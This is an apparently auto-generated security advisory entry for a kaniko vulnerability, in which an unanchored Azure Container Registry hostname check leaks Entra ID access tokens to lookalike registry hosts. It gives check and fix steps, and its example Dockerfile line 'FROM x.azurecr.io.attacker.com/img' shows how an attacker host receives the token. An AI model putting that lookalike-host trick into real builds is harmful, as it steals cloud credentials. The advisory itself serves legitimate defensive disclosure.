---
id: "CVE-2026-105769"
kind: "vulnerability"
aliases: ["CVE-2026-105769"]
title: "kaniko: lookalike registry hostname leaks Azure access token during image builds"
severity: "critical"
cvss: 9.3
epss: null
exploited: false
status: "open"
category: "package"
products: []
ecosystems: []
tags: ["azure", "azure-container-registry", "ci-cd", "containers", "kaniko", "package"]
not_affected_if: ["ecr-or-explicit-registry-credentials-only", "kaniko-1.25.20-or-later", "no-azure-identity-in-build"]
published_at: "2026-11-02T17:17:32+00:00"
first_seen_at: "2026-11-02T17:24:12+00:00"
updated_at: "2026-11-02T17:26:21+00:00"
sources: [{"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105769", "first_seen_at": "2026-11-02T17:24:12+00:00"}]
---

# kaniko: lookalike registry hostname leaks Azure access token during image builds

kaniko before 1.25.20 sends a Microsoft Entra ID access token for Azure Resource Manager to any registry host whose name contains .azurecr.io, because the ACR detection regex is unanchored. A Dockerfile that pulls from a lookalike host such as x.azurecr.io.attacker.com hands the build's Azure identity token to the attacker, who can use it against Azure with that identity's role assignments.

_Summary, check and fix written by a model from the sources; labelled as such._

## How to check

- Check the kaniko version in the build image or pipeline, e.g. `executor version` or the image tag, and confirm it is below `1.25.20`.
- Look for Azure identity settings in the build environment (service principal environment variables, federated workload identity, or managed identity) that kaniko builds can use.
- Review Dockerfiles and build arguments for `FROM` or `COPY --from=` references to hosts containing `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us` that are not your own registry.

## Fix

- kaniko: move to `1.25.20` or later.

## Timeline

- 2026-11-02T17:24:12+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-105769

## Documents

- [advisory] Vendor advisory: github.com https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- [fix] Release notes: github.com https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20

## From the sources

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

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_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_